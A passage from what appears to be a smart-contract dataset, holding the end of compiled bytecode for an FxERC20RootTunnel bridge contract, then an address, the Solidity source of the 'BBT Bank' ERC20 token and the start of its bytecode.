f573d6000803e3d6000fd5b5050505050565b6060600061096383610d25565b9050600061097082610d55565b9050600061097d83610d92565b905060008161098b84610dc9565b61099486610fef565b6040516020016109a69392919061262a565b60408051601f1981840301815291815281516020928301206000818152600390935291205490915060ff16156109ee5760405162461bcd60e51b81526004016102fc906128b0565b600081815260036020526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055610a2e85611019565b90506000610a3b82611127565b9050610a46816111b6565b60025473ffffffffffffffffffffffffffffffffffffffff908116911614610a805760405162461bcd60e51b81526004016102fc90612b94565b6000610a8b876111ed565b9050610aa9610a9984611217565b87610aa38a61121e565b84611248565b610ac55760405162461bcd60e51b81526004016102fc90612853565b610af385610ad289611547565b610adb8a611571565b84610ae58c61159b565b610aee8d6115c5565b6115ef565b506000610aff8361171d565b90507f8c5261668696ce22758910d05bab8f186d6eb247ceac2af2e82c7dc17669b036610b35610b30836000611760565b61179a565b14610b525760405162461bcd60e51b81526004016102fc90612a6c565b6000610b5d84611815565b806020019051810190610b7091906124d9565b99505050505050505050505b919050565b60008060008084806020019051810190610b9b919061232e565b73ffffffffffffffffffffffffffffffffffffffff8481166000908152600460205260409020549498509296509094509250848116911614610bef5760405162461bcd60e51b81526004016102fc90612ada565b610c1073ffffffffffffffffffffffffffffffffffffffff8516838361183f565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f1a77c658a097b28097b54b8acb928a569a3830a6cbed2de1f60001c0757eb0d6846040516104e791906127c1565b6000610ce6826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661185e9092919063ffffffff16565b805190915015610d205780806020019051810190610d0491906123ea565b610d205760405162461bcd60e51b81526004016102fc90612b37565b505050565b610d2d612223565b6000610d40610d3b8461186d565b611892565b60408051602081019091529081529392505050565b6060610d8c8260000151600881518110610d7f57634e487b7160e01b600052603260045260246000fd5b60200260200101516119b8565b92915050565b6000610d8c8260000151600281518110610dbc57634e487b7160e01b600052603260045260246000fd5b602002602001015161179a565b60408051602081019091526000815281516060919015610d8c57600080610df1600086611a63565b60f81c90506001811480610e0857508060ff166003145b15610ee457600185516002610e1d9190612dc3565b610e279190612e00565b67ffffffffffffffff811115610e4d57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015610e77576020820181803683370190505b5092506000610e87600187611a63565b90508084600081518110610eab57634e487b7160e01b600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506001925050610f56565b600285516002610ef49190612dc3565b610efe9190612e00565b67ffffffffffffffff811115610f2457634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015610f4e576020820181803683370190505b509250600091505b60ff82165b8351811015610fe657610f85610f7460ff851683612e00565b610f7f906002612c43565b87611a63565b848281518110610fa557634e487b7160e01b600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080610fde81612e66565b915050610f5b565b50505092915050565b6000610d8c8260000151600981518110610dbc57634e487b7160e01b600052603260045260246000fd5b611021612236565b6110498260000151600681518110610d7f57634e487b7160e01b600052603260045260246000fd5b6020820181905260009061105c9061186d565b905061106781611b00565b1561107c5761107581611892565b8252611113565b6020820151805160009061109290600190612e00565b67ffffffffffffffff8111156110b857634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156110e2576020820181803683370190505b50905060008083602101915082602001905061110082828551611b3a565b61110c610d3b8461186d565b8652505050505b61111c83610fef565b604083015250919050565b61112f612257565b6000611166836000015160038151811061115957634e487b7160e01b600052603260045260246000fd5b6020026020010151611892565b83604001518151811061118957634e487b7160e01b600052603260045260246000fd5b6020026020010151905060405180604001604052808281526020016111ad83611892565b90529392505050565b6000610d8c82602001516000815181106111e057634e487b7160e01b600052603260045260246000fd5b6020026020010151611bb3565b6000610d8c8260000151600581518110610dbc57634e487b7160e01b600052603260045260246000fd5b6020015190565b6060610d8c8260000151600781518110610d7f57634e487b7160e01b600052603260045260246000fd5b6000806112548461186d565b9050600061126182611892565b9050606080856000806112738b610dc9565b905080516000141561128f57600097505050505050505061153f565b60005b86518110156115365781518311156112b55760009850505050505050505061153f565b6112e58782815181106112d857634e487b7160e01b600052603260045260246000fd5b6020026020010151611bcd565b9550858051906020012084146113065760009850505050505050505061153f565b61132987828151811061115957634e487b7160e01b600052603260045260246000fd5b9450845160111415611428578151831415611399578c8051906020012061136a86601081518110610d7f57634e487b7160e01b600052603260045260246000fd5b8051906020012014156113885760019850505050505050505061153f565b60009850505050505050505061153f565b60008284815181106113bb57634e487b7160e01b600052603260045260246000fd5b016020015160f81c905060108111156113e0576000995050505050505050505061153f565b611413868260ff168151811061140657634e487b7160e01b600052603260045260246000fd5b6020026020010151611c5c565b9450611420600185612c43565b935050611524565b84516002141561138857600061146261145b87600081518110610d7f57634e487b7160e01b600052603260045260246000fd5b8486611c8a565b83519091506114718286612c43565b14156114d4578d805190602001206114a387600181518110610d7f57634e487b7160e01b600052603260045260246000fd5b8051906020012014156114c2576001995050505050505050505061153f565b6000995050505050505050505061153f565b806114eb576000995050505050505050505061153f565b6114f58185612c43565b935061151b8660018151811061140657634e487b7160e01b600052603260045260246000fd5b94506115249050565b8061152e81612e66565b915050611292565b50505050505050505b949350505050565b6000610d8c8260000151600381518110610dbc57634e487b7160e01b600052603260045260246000fd5b6000610d8c8260000151600481518110610dbc57634e487b7160e01b600052603260045260246000fd5b6000610d8c8260000151600081518110610dbc57634e487b7160e01b600052603260045260246000fd5b6060610d8c8260000151600181518110610d7f57634e487b7160e01b600052603260045260246000fd5b6001546040517f41539d4a00000000000000000000000000000000000000000000000000000000815260009182918291829173ffffffffffffffffffffffffffffffffffffffff909116906341539d4a9061164e9089906004016127c1565b60a06040518083038186803b15801561166657600080fd5b505afa15801561167a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169e919061245a565b50935050925092506116f4828b6116b59190612e00565b84878d8d8d8d6040516020016116ce9493929190612657565b60405160208183030381529060405280519060200120611ded909392919063ffffffff16565b6117105760405162461bcd60e51b81526004016102fc90612a35565b9998505050505050505050565b611725612223565b6040518060200160405280611758846020015160018151811061115957634e487b7160e01b600052603260045260246000fd5b905292915050565b611768612277565b825180518390811061178a57634e487b7160e01b600052603260045260246000fd5b6020026020010151905092915050565b8051600090158015906117af57508151602110155b6117b857600080fd5b60006117c78360200151611f01565b905060008184600001516117db9190612e00565b90506000808386602001516117f09190612c43565b905080519150602083101561180c57826020036101000a820491505b50949350505050565b6060610d8c8260200151600281518110610d7f57634e487b7160e01b600052603260045260246000fd5b610d208363a9059cbb60e01b848460405160240161085b929190612790565b606061153f8484600085611f86565b611875612277565b506040805180820190915281518152602082810190820152919050565b606061189d82611b00565b6118a657600080fd5b60006118b183612053565b905060008167ffffffffffffffff8111156118dc57634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561191557816020015b611902612277565b8152602001906001900390816118fa5790505b50905060006119278560200151611f01565b85602001516119369190612c43565b90506000805b848110156119ad5761194d836120d6565b915060405180604001604052808381526020018481525084828151811061198457634e487b7160e01b600052603260045260246000fd5b60209081029190910101526119998284612c43565b9250806119a581612e66565b91505061193c565b509195945050505050565b80516060906119c657600080fd5b60006119d58360200151611f01565b905060008184600001516119e99190612e00565b905060008167ffffffffffffffff811115611a1457634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611a3e576020820181803683370190505b509050600081602001905061180c848760200151611a5c9190612c43565b8285612198565b6000611a70600284612e9f565b15611ab857601082611a83600286612c5b565b81518110611aa157634e487b7160e01b600052603260045260246000fd5b0160200151611ab3919060f81c612eb3565b611af6565b601082611ac6600286612c5b565b81518110611ae457634e487b7160e01b600052603260045260246000fd5b0160200151611af6919060f81c612c6f565b60f81b9392505050565b8051600090611b1157506000610b7c565b6020820151805160001a9060c0821015611b3057600092505050610b7c565b5060019392505050565b80611b4457610d20565b60208110611b7c5782518252611b5b602084612c43565b9250611b68602083612c43565b9150611b75602082612e00565b9050611b44565b60006001611b8b836020612e00565b611b9790610100612cd7565b611ba19190612e00565b84518451821691191617835250505050565b8051600090601514611bc457600080fd5b610d8c8261179a565b60606000826000015167ffffffffffffffff811115611bfc57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611c26576020820181803683370190505b509050805160001415611c3a579050610b7c565b6000816020019050611c558460200151828660000151612198565b5092915050565b8051600090602114611c6d57600080fd5b60008083602001516001611c819190612c43565b51949350505050565b60008080611c9786610dc9565b90506000815167ffffffffffffffff811115611cc357634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611ced576020820181803683370190505b509050845b8251611cfe9087612c43565b811015611dbd576000878281518110611d2757634e487b7160e01b600052603260045260246000fd5b01602001517fff000000000000000000000000000000000000000000000000000000000000001690508083611d5c8985612e00565b81518110611d7a57634e487b7160e01b600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350508080611db590612e66565b915050611cf2565b50808051906020012082805190602001201415611ddd5781519250611de2565b600092505b509095945050505050565b600060208251611dfd9190612e9f565b15611e1a5760405162461bcd60e51b81526004016102fc906129c7565b600060208351611e2a9190612c5b565b9050611e37816002612cd7565b8510611e555760405162461bcd60e51b81526004016102fc906129fe565b60008660205b85518111611ef357858101519250611e74600289612e9f565b611ea8578183604051602001611e8b929190612600565b604051602081830303815290604052805190602001209150611ed4565b8282604051602001611ebb929190612600565b6040516020818303038152906040528051906020012091505b611edf600289612c5b565b9750611eec602082612c43565b9050611e5b565b509094149695505050505050565b8051600090811a6080811015611f1b576000915050610b7c565b60b8811080611f36575060c08110801590611f36575060f881105b15611f45576001915050610b7c565b60c0811015611f7a57611f5a600160b8612e17565b611f679060ff1682612e00565b611f72906001612c43565b915050610b7c565b611f5a600160f8612e17565b606082471015611fa85760405162461bcd60e51b81526004016102fc9061290d565b611fb1856121e4565b611fcd5760405162461bcd60e51b81526004016102fc90612aa3565b6000808673ffffffffffffffffffffffffffffffffffffffff168587604051611ff6919061260e565b60006040518083038185875af1925050503d8060008114612033576040519150601f19603f3d011682016040523d82523d6000602084013e612038565b606091505b50915091506120488282866121ea565b979650505050505050565b805160009061206457506000610b7c565b6000806120748460200151611f01565b84602001516120839190612c43565b905060008460000151856020015161209b9190612c43565b90505b808210156120cd576120af826120d6565b6120b99083612c43565b9150826120c581612e66565b93505061209e565b50909392505050565b80516000908190811a60808110156120f15760019150611c55565b60b881101561211757612105608082612e00565b612110906001612c43565b9150611c55565b60c08110156121445760b78103600185019450806020036101000a85510460018201810193505050611c55565b60f88110156121585761210560c082612e00565b60019390930151602084900360f7016101000a90049092017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0a0192915050565b806121a257610d20565b602081106121da57825182526121b9602084612c43565b92506121c6602083612c43565b91506121d3602082612e00565b90506121a2565b80611b7c57610d20565b3b151590565b606083156121f9575081610257565b8251156122095782518084602001fd5b8160405162461bcd60e51b81526004016102fc91906127e3565b6040518060200160405280606081525090565b60405180606001604052806060815260200160608152602001600081525090565b604051806040016040528061226a612277565b8152602001606081525090565b604051806040016040528060008152602001600081525090565b60006122a461229f84612c1b565b612bf1565b90508281528383830111156122b857600080fd5b610257836020830184612e3a565b600082601f8301126122d6578081fd5b81356122e461229f82612c1b565b8181528460208386010111156122f8578283fd5b816020850160208301379081016020019190915292915050565b600060208284031215612323578081fd5b813561025781612f17565b60008060008060808587031215612343578283fd5b845161234e81612f17565b602086015190945061235f81612f17565b604086015190935061237081612f17565b6060959095015193969295505050565b60008060008060808587031215612395578384fd5b84356123a081612f17565b935060208501356123b081612f17565b925060408501359150606085013567ffffffffffffffff8111156123d2578182fd5b6123de878288016122c6565b91505092959194509250565b6000602082840312156123fb578081fd5b81518015158114610257578182fd5b60006020828403121561241b578081fd5b5035919050565b600080600060608486031215612436578283fd5b8335925060208401359150604084013561244f81612f17565b809150509250925092565b600080600080600060a08688031215612471578081fd5b85519450602086015193506040860151925060608601519150608086015161249881612f17565b809150509295509295909350565b6000602082840312156124b7578081fd5b813567ffffffffffffffff8111156124cd578182fd5b61153f848285016122c6565b6000602082840312156124ea578081fd5b815167ffffffffffffffff811115612500578182fd5b8201601f81018413612510578182fd5b61153f84825160208401612291565b600060208284031215612530578081fd5b815160ff81168114610257578182fd5b60008151808452612558816020860160208601612e3a565b601f01601f19169290920160200192915050565b60609190911b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000016815260140190565b7fff0000000000000000000000000000000000000000000000000000000000000094909416845260609290921b7fffffffffffffffffffffffffffffffffffffffff0000000000000000000000001660018401526015830152603582015260550190565b918252602082015260400190565b60008251612620818460208701612e3a565b9190910192915050565b60008482528351612642816020850160208801612e3a565b60209201918201929092526040019392505050565b93845260208401929092526040830152606082015260800190565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b600073ffffffffffffffffffffffffffffffffffffffff8088168352808716602084015280861660408401525083606083015260a0608083015261204860a0830184612540565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b600073ffffffffffffffffffffffffffffffffffffffff841682526040602083015261153f6040830184612540565b600073ffffffffffffffffffffffffffffffffffffffff86168252608060208301526127696080830186612540565b828103604084015261277b8186612540565b91505060ff8316606083015295945050505050565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b901515815260200190565b90815260200190565b60008382526040602083015261153f6040830184612540565b6000602082526102576020830184612540565b6020808252602a908201527f467842617365526f6f7454756e6e656c3a204348494c445f54554e4e454c5f4160408201527f4c52454144595f53455400000000000000000000000000000000000000000000606082015260800190565b60208082526023908201527f4678526f6f7454756e6e656c3a20494e56414c49445f524543454950545f505260408201527f4f4f460000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526024908201527f4678526f6f7454756e6e656c3a20455849545f414c52454144595f50524f434560408201527f5353454400000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60408201527f722063616c6c0000000000000000000000000000000000000000000000000000606082015260800190565b60208082526021908201527f46784552433230526f6f7454756e6e656c3a20414c52454144595f4d4150504560408201527f4400000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526014908201527f496e76616c69642070726f6f66206c656e677468000000000000000000000000604082015260600190565b60208082526015908201527f4c65616620696e64657820697320746f6f206269670000000000000000000000604082015260600190565b6020808252601c908201527f4678526f6f7454756e6e656c3a20494e56414c49445f48454144455200000000604082015260600190565b6020808252601f908201527f4678526f6f7454756e6e656c3a20494e56414c49445f5349474e415455524500604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f46784552433230526f6f7454756e6e656c3a20494e56414c49445f4d4150504960408201527f4e475f4f4e5f4558495400000000000000000000000000000000000000000000606082015260800190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60408201527f6f74207375636365656400000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f4678526f6f7454756e6e656c3a20494e56414c49445f46585f4348494c445f5460408201527f554e4e454c000000000000000000000000000000000000000000000000000000606082015260800190565b60405181810167ffffffffffffffff81118282101715612c1357612c13612f01565b604052919050565b600067ffffffffffffffff821115612c3557612c35612f01565b50601f01601f191660200190565b60008219821115612c5657612c56612ed5565b500190565b600082612c6a57612c6a612eeb565b500490565b600060ff831680612c8257612c82612eeb565b8060ff84160491505092915050565b80825b6001808611612ca35750612cce565b818704821115612cb557612cb5612ed5565b80861615612cc257918102915b9490941c938002612c94565b94509492505050565b60006102577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484600082612d0e57506001610257565b81612d1b57506000610257565b8160018114612d315760028114612d3b57612d68565b6001915050610257565b60ff841115612d4c57612d4c612ed5565b6001841b915084821115612d6257612d62612ed5565b50610257565b5060208310610133831016604e8410600b8410161715612d9b575081810a83811115612d9657612d96612ed5565b610257565b612da88484846001612c91565b808604821115612dba57612dba612ed5565b02949350505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612dfb57612dfb612ed5565b500290565b600082821015612e1257612e12612ed5565b500390565b600060ff821660ff841680821015612e3157612e31612ed5565b90039392505050565b60005b83811015612e55578181015183820152602001612e3d565b838111156108bf5750506000910152565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e9857612e98612ed5565b5060010190565b600082612eae57612eae612eeb565b500690565b600060ff831680612ec657612ec6612eeb565b8060ff84160691505092915050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff81168114612f3957600080fd5b5056fea264697066735822122017ea7d262225b2f9eb8aaf522b628ada8cc11e23600d1fc6c0886c501cd54d0c64736f6c63430008000033
[ 7, 37 ]
0xf1d863538bd4534ac964a3e7e38af6dda117bb73
pragma solidity ^0.4.25; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Function to revert eth transfers to this contract */ function() public payable { revert(); } /** * @dev Owner can transfer out any accidentally sent ERC20 tokens */ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return BasicToken(tokenAddress).transfer(owner, tokens); } /** * @dev Transfer the specified amounts of tokens to the specified addresses. * @dev Be aware that there is no check for duplicate recipients. * * @param _toAddresses Receiver addresses. * @param _amounts Amounts of tokens that will be transferred. */ function multiSend(address[] _toAddresses, uint256[] _amounts) public { /* Ensures _toAddresses array is less than or equal to 255 */ require(_toAddresses.length <= 255); /* Ensures _toAddress and _amounts have the same number of entries. */ require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transfer(_toAddresses[i], _amounts[i]); } } /** * @dev Transfer the specified amounts of tokens to the specified addresses from authorized balance of sender. * @dev Be aware that there is no check for duplicate recipients. * * @param _from The address of the sender * @param _toAddresses The addresses of the recipients (MAX 255) * @param _amounts The amounts of tokens to be transferred */ function multiSendFrom(address _from, address[] _toAddresses, uint256[] _amounts) public { /* Ensures _toAddresses array is less than or equal to 255 */ require(_toAddresses.length <= 255); /* Ensures _toAddress and _amounts have the same number of entries. */ require(_toAddresses.length == _amounts.length); for (uint8 i = 0; i < _toAddresses.length; i++) { transferFrom(_from, _toAddresses[i], _amounts[i]); } } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract BBTToken is StandardToken, BurnableToken { string public constant name = "BBT Bank"; string public constant symbol = "BBT"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals)); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b5780632ff2e9dc14610290578063313ce567146102bb57806342966c68146102ec57806370a08231146103195780638da5cb5b1461037057806395d89b41146103c7578063a7ff237314610457578063a9059cbb14610520578063bb4c9f0b14610585578063dc39d06d1461062e578063dd62ed3e14610693578063f2fde38b1461070a575b600080fd5b3480156100f757600080fd5b5061010061074d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f5610878565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610882565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610c41565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102d0610c52565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f857600080fd5b5061031760048036038101908080359060200190929190505050610c57565b005b34801561032557600080fd5b5061035a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6d565b6040518082815260200191505060405180910390f35b34801561037c57600080fd5b50610385610eb6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103d357600080fd5b506103dc610edb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041c578082015181840152602081019050610401565b50505050905090810190601f1680156104495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561046357600080fd5b5061051e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610f14565b005b34801561052c57600080fd5b5061056b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f9b565b604051808215151515815260200191505060405180910390f35b34801561059157600080fd5b5061062c60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506111bf565b005b34801561063a57600080fd5b50610679600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611244565b604051808215151515815260200191505060405180910390f35b34801561069f57600080fd5b506106f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113a8565b6040518082815260200191505060405180910390f35b34801561071657600080fd5b5061074b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061142f565b005b6040805190810160405280600881526020017f4242542042616e6b00000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108bf57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561090d57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099857600080fd5b6109ea82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7f82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5182600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a6305f5e1000281565b601281565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb457600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d0257600080fd5b339050610d5782600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158490919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610daf8260025461158490919063ffffffff16565b6002819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1